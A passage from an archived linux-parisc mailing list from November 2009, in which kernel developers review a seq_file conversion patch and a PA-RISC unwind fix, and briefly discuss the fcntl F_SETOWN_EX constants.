Subject: Re: [PATCH] parisc: convert /proc/pdc/{lcd,led} to seq_file
Date: Sat, 28 Nov 2009 12:25:09 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <20091128092509.GA4375@x200.malnet.ru>
References: <20091127065112.GC26327@x200.malnet.ru>
 <20091128061354.GA21113@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259400331 3322 80.91.229.12 (28 Nov 2009 09:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Nov 2009 09:25:31 +0000 (UTC)
Cc: kyle@mcmartin.ca, akpm@linux-foundation.org,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 28 10:25:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEJYN-0004mM-Fv
	for glpp-linux-parisc@lo.gmane.org; Sat, 28 Nov 2009 10:25:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753631AbZK1JZJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Nov 2009 04:25:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753711AbZK1JZJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Nov 2009 04:25:09 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:51170 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753631AbZK1JZI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Nov 2009 04:25:08 -0500
Original-Received: by ewy19 with SMTP id 19so2112336ewy.21
        for <linux-parisc@vger.kernel.org>; Sat, 28 Nov 2009 01:25:13 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=T9VCvyhca8aAL6x8NiuCYQbIxbzm0ObV41cNhMDpO4k=;
        b=WgQVr4yqikLsthdb+mZR5zIKhp9erZLgwQyvHs2WD8iEmDTzFmIZCXy46+3WWYHaHT
         VvPytTD9dypEsk+fHNDQy3m241wMG6XJwtK1NhBzLXpGTQFZqOvDJHA/wPZkZdLnWMFi
         Xk66zEv7GBjgoiwBCZl2oez9/FPNB/GwhNl8k=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=APrb6XfV/CdYzufhXvSfmXxp+z8oWojtkNSIm43ZYeb5ON7+s+BpH+4BxgZyjAPOiM
         dzvsnv7jRNHcjB8wMP8GIRSQ/GfhI6+3OhGct2VsB9CQonsugQN9VYZpe7oQ4vEZYy89
         R8i7NCHHJpSGMN9EaBC/PfHdJgcSUMna3dMHc=
Original-Received: by 10.213.26.199 with SMTP id f7mr1991762ebc.72.1259400313322;
        Sat, 28 Nov 2009 01:25:13 -0800 (PST)
Original-Received: from x200.malnet.ru ([213.171.34.231])
        by mx.google.com with ESMTPS id 10sm3601527eyz.47.2009.11.28.01.25.11
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 28 Nov 2009 01:25:12 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20091128061354.GA21113@lackof.org>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2376
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2376>

On Fri, Nov 27, 2009 at 11:13:54PM -0700, Grant Grundler wrote:
> On Fri, Nov 27, 2009 at 09:51:12AM +0300, Alexey Dobriyan wrote:
> > Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
> 
> No commit comment?

No, subject says it's all.

> > -	ent = create_proc_entry("led", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
> > +	ent = proc_create_data("led", S_IRUGO|S_IWUSR, proc_pdc_root,
> > +				&led_proc_fops, (void *)LED_NOLCD); /* LED */
> 
> Documentation/filesystems/seq_file.txt says to use create_proc_entry().
> I couldn't find any documentation on proc_create_data().
> Is this really the preferred API?

Yes, it's slightly less racy than create_proc_entry().

create_proc_entry() is going to be removed in fact.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert /proc/pdc/{lcd,led} to seq_file
Date: Sat, 28 Nov 2009 08:45:08 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1259419508.4081.2.camel@mulgrave.site>
References: <20091127065112.GC26327@x200.malnet.ru>
	 <20091128061354.GA21113@lackof.org>  <20091128092509.GA4375@x200.malnet.ru>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259419525 17155 80.91.229.12 (28 Nov 2009 14:45:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Nov 2009 14:45:25 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, kyle@mcmartin.ca,
	akpm@linux-foundation.org, linux-parisc@vger.kernel.org
To: Alexey Dobriyan <adobriyan@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 28 15:45:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEOXz-0002kD-W0
	for glpp-linux-parisc@lo.gmane.org; Sat, 28 Nov 2009 15:45:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751584AbZK1OpI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Nov 2009 09:45:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751737AbZK1OpH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Nov 2009 09:45:07 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35829 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751584AbZK1OpH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Nov 2009 09:45:07 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A369D8EE105;
	Sat, 28 Nov 2009 06:45:12 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id icNzpl9oWcC3; Sat, 28 Nov 2009 06:45:12 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5D3078EE0F2;
	Sat, 28 Nov 2009 06:45:10 -0800 (PST)
In-Reply-To: <20091128092509.GA4375@x200.malnet.ru>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2377
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2377>

On Sat, 2009-11-28 at 12:25 +0300, Alexey Dobriyan wrote:
> On Fri, Nov 27, 2009 at 11:13:54PM -0700, Grant Grundler wrote:
> > On Fri, Nov 27, 2009 at 09:51:12AM +0300, Alexey Dobriyan wrote:
> > > Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
> > 
> > No commit comment?
> 
> No, subject says it's all.

He means rationale ... the output of the files you are altering is fixed
size and atomic, so we don't need seq_file for fear of running off the
fixed buffer and the data is reasonably fast changing, so anyone looking
to seek within the file because they can't read the data in one go isn't
going to get sensible results.  Given that, why bother with the
conversion?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix unwind with recent gcc versions
Date: Sat, 28 Nov 2009 20:33:11 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20091128203311.GA24165@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259440407 7515 80.91.229.12 (28 Nov 2009 20:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Nov 2009 20:33:27 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 28 21:33:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NETyo-0004cK-DH
	for glpp-linux-parisc@lo.gmane.org; Sat, 28 Nov 2009 21:33:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752690AbZK1UdK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Nov 2009 15:33:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752340AbZK1UdK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Nov 2009 15:33:10 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:55603 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752690AbZK1UdK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Nov 2009 15:33:10 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id nASKXB2O024499
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 28 Nov 2009 20:33:11 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id nASKXBlu024498;
	Sat, 28 Nov 2009 20:33:11 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Spam-Status: No, score=-1.8 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_FUTURE_96_XX,UNPARSEABLE_RELAY autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2378
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2378>

From: Helge Deller <deller@gmx.de>

kernel unwinding is broken with gcc >= 4.x. Part of the problem is, that
binutils seems sensible where the unwind information is stored.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
 arch/parisc/kernel/unwind.c      |    2 +-
 arch/parisc/kernel/vmlinux.lds.S |    6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 69dad5a..a36799e 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -28,7 +28,7 @@
 #define dbg(x...)
 #endif
 
-#define KERNEL_START (KERNEL_BINARY_TEXT_START - 0x1000)
+#define KERNEL_START (KERNEL_BINARY_TEXT_START)
 
 extern struct unwind_table_entry __start___unwind[];
 extern struct unwind_table_entry __stop___unwind[];
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index fda4baa..9dab4a4 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -78,9 +78,6 @@ SECTIONS
 	 */
 	. = ALIGN(PAGE_SIZE);
 	data_start = .;
-	EXCEPTION_TABLE(16)

From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert /proc/pdc/{lcd,led} to seq_file
Date: Sat, 28 Nov 2009 22:17:52 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20091129051752.GA14332@lackof.org>
References: <20091127065112.GC26327@x200.malnet.ru> <20091128061354.GA21113@lackof.org> <20091128092509.GA4375@x200.malnet.ru>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259471883 3164 80.91.229.12 (29 Nov 2009 05:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Nov 2009 05:18:03 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, kyle@mcmartin.ca,
	akpm@linux-foundation.org, linux-parisc@vger.kernel.org
To: Alexey Dobriyan <adobriyan@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 29 06:17:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEcAV-00018n-2o
	for glpp-linux-parisc@lo.gmane.org; Sun, 29 Nov 2009 06:17:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751082AbZK2FRr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Nov 2009 00:17:47 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751083AbZK2FRr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Nov 2009 00:17:47 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:35445 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751082AbZK2FRq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Nov 2009 00:17:46 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 5124933E0168;
	Sat, 28 Nov 2009 22:17:53 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qRFQPAiZ-x6G; Sat, 28 Nov 2009 22:17:53 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 000A033E0177; Sat, 28 Nov 2009 22:17:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20091128092509.GA4375@x200.malnet.ru>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2379
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2379>

On Sat, Nov 28, 2009 at 12:25:09PM +0300, Alexey Dobriyan wrote:
> On Fri, Nov 27, 2009 at 11:13:54PM -0700, Grant Grundler wrote:
> > On Fri, Nov 27, 2009 at 09:51:12AM +0300, Alexey Dobriyan wrote:
> > > Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
> > 
> > No commit comment?
> 
> No, subject says it's all.

The subject line says what the patch does, not why you wrote the patch.
Your comments below are an example of what I was looking for.

> 
> > > -	ent = create_proc_entry("led", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
> > > +	ent = proc_create_data("led", S_IRUGO|S_IWUSR, proc_pdc_root,
> > > +				&led_proc_fops, (void *)LED_NOLCD); /* LED */
> > 
> > Documentation/filesystems/seq_file.txt says to use create_proc_entry().
> > I couldn't find any documentation on proc_create_data().
> > Is this really the preferred API?
> 
> Yes, it's slightly less racy than create_proc_entry().
> create_proc_entry() is going to be removed in fact.

Ok. Please add a sentence about which race you are worried about.
This isn't to discuss the race - it's just informative to explain
why there is a plan to replace the API. I'm willing to go along with
that.

Are you removing create_proc_entry() ? Is this patch part of a grand plan?
(All good things to include in a commit comment)

Also updating Documentation/filesystems/seq_file.txt would be very
helpful given you understand why proc_create_data() should replace
create_proc_entry().

thanks!
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix unwind with recent gcc versions
Date: Sun, 29 Nov 2009 09:34:45 -0800 (PST)
Lines: 28
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0911290929110.3684@localhost.localdomain>
References: <20091128203311.GA24165@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1259516112 2400 80.91.229.12 (29 Nov 2009 17:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Nov 2009 17:35:12 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 29 18:35:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEnfq-00078e-8c
	for glpp-linux-parisc@lo.gmane.org; Sun, 29 Nov 2009 18:35:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751654AbZK2Rey (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Nov 2009 12:34:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751895AbZK2Rey
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Nov 2009 12:34:54 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:51346 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751654AbZK2Rey (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Nov 2009 12:34:54 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id nATHYknB030328
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 29 Nov 2009 09:34:47 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id nATHYj4X002381;
	Sun, 29 Nov 2009 09:34:45 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20091128203311.GA24165@hera.kernel.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.459 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2380
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2380>



On Sat, 28 Nov 2009, Kyle McMartin wrote:
>
> From: Helge Deller <deller@gmx.de>
> 
> kernel unwinding is broken with gcc >= 4.x. Part of the problem is, that
> binutils seems sensible where the unwind information is stored.

The commentary doesn't seem to make much sense to me. Do you mean 
"sensitive" rather than "sensible"? And is it an actual binutils bug, or 
what?

Also, are the PARISC people 100% sure that you really want unwinding in 
the first place? We got rid of it as being terminally broken on x86, 
because tools and asm always got it wrong, and special things like irq 
frames etc continually broke it in the most annoying ways possible (ie 
WARN_ON() statements became fatal oopses due to unwind errors etc).

Having a tentative and unreliable stack trace is generally better than 
a totally broken one.

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Sun, 29 Nov 2009 13:17:39 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <119aab440911291017h1704a159j61421323b8099a3@mail.gmail.com>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>
	 <20091119032220.GG28962@bombadil.infradead.org>
	 <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com>
	 <1258651414.6363.12.camel@mulgrave.site>
	 <119aab440911201457j1727576blde3c62569f927711@mail.gmail.com>
	 <4B10509D.3020400@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1259518670 10378 80.91.229.12 (29 Nov 2009 18:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Nov 2009 18:17:50 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 29 19:17:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEoL8-0005wa-AB
	for glpp-linux-parisc@lo.gmane.org; Sun, 29 Nov 2009 19:17:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751455AbZK2SRf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Nov 2009 13:17:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751622AbZK2SRf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Nov 2009 13:17:35 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:39399 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751455AbZK2SRe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Nov 2009 13:17:34 -0500
Original-Received: by bwz27 with SMTP id 27so2044571bwz.21
        for <linux-parisc@vger.kernel.org>; Sun, 29 Nov 2009 10:17:39 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=0EMEb98wdu9eNxv8h8sGX6GdsGkIKbj0hmmom5n+kCE=;
        b=Qp8gZNQwctdOjl7mGTkzH5rifkO1Iw3ribZ2/jwA6+i3ZEG8auX9CcANvYENoS7OSX
         QnlbY8PaSt82ewNdZDlXkve/h7JyHo/lchdI/PvRTrDwjQPfTNeT6ExABu+0mnb7olqF
         xkvrNe54KYEmvLwEtoLYzhNJpEv6fhGpQVOkI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=QYLgYXjYL5IJXQOUFb8wBohEjgG53SyyESQrsauhTgO7NjcOtH0rTtrz9NuRaxuhD4
         hKxr7xmjN5jyAyGf9gY53asgRWaik/dHv49mQOKdeRqOBJ4f3a+XtQioGBTTsqJZ+YN6
         ohT/b3rVYpMgIqrn9KtCh3snoRJBHwrEk0ylo=
Original-Received: by 10.204.24.130 with SMTP id v2mr3588006bkb.33.1259518659502; Sun, 
	29 Nov 2009 10:17:39 -0800 (PST)
In-Reply-To: <4B10509D.3020400@gmx.de>
X-Google-Sender-Auth: d1d540fb895ccfd0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2381
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2381>

On Fri, Nov 27, 2009 at 5:20 PM, Helge Deller <deller@gmx.de> wrote:
> Hi Carlos,
>
> FWIW, Stephen's patch has been applied to mainline (2.6.32-rc8) in the
> meantime...

Thanks Helge. Could you do some sleuthing for me? Were the F_SETOWN_EX
and F_GETOWN_EX ever in any released kernel?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Sun, 29 Nov 2009 20:55:41 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <4B12D1BD.90602@gmx.de>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>	 <20091119032220.GG28962@bombadil.infradead.org>	 <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com>	 <1258651414.6363.12.camel@mulgrave.site>	 <119aab440911201457j1727576blde3c62569f927711@mail.gmail.com>	 <4B10509D.3020400@gmx.de> <119aab440911291017h1704a159j61421323b8099a3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259524557 27264 80.91.229.12 (29 Nov 2009 19:55:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Nov 2009 19:55:57 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 29 20:55:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEps4-0000zC-GA
	for glpp-linux-parisc@lo.gmane.org; Sun, 29 Nov 2009 20:55:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752017AbZK2Tzk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Nov 2009 14:55:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752186AbZK2Tzk
